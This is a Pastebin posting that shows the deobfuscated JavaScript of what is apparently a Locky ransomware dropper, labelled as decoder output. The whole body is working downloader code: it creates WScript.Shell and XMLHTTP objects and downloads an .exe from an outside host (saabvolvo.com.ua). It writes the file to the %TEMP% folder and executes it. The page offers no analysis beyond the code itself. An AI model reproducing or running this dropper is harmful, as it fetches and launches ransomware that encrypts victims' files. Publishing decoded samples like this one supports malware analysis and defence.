Advertisement
guelfoweb

JS Locky Decoded

Mar 1st, 2016
9,393
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // js_locky_decode.py -> https://gist.github.com/guelfoweb/1b7c4ecc3a2a7d8947ad
  2.  
  3. var rCcrInJvw = 'Run';
  4.  
  5. var eBPKMe = this['ActiveXObject'];
  6. var BSvlbD = new eBPKMe('WScript.Shell');
  7.  
  8. var IJjCIdBpl = BSvlbD['ExpandEnvironmentStrings']('%TEMP%') + '/onqggSyNk.exe';
  9.  
  10. var ETADikKjU = new eBPKMe('MSXML2.XMLHTTP');
  11. ETADikKjU['onreadystatechange'] = function () {
  12.         if (ETADikKjU['readystate'] === 4) {
  13.             var RjMmg = new eBPKMe('ADODB.Stream');
  14.             RjMmg['open']();
  15.             RjMmg['type'] = 1;
  16.             RjMmg['write'](ETADikKjU['ResponseBody']);
  17.             RjMmg['position'] = 0;
  18.             RjMmg['saveToFile'](IJjCIdBpl, 2);
  19.             RjMmg['close']();
  20.         };
  21. };
  22. try {
  23.     ETADikKjU['open']('GET', 'http://saabvolvo.com.ua/system/logs/7ygvtyvb7niim.exe', false);
  24.  
  25.     ETADikKjU['send']();
  26.     BSvlbD[rCcrInJvw](IJjCIdBpl, 1, ![]+[]);
  27.  
  28. } catch (JUfhQOq) { };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement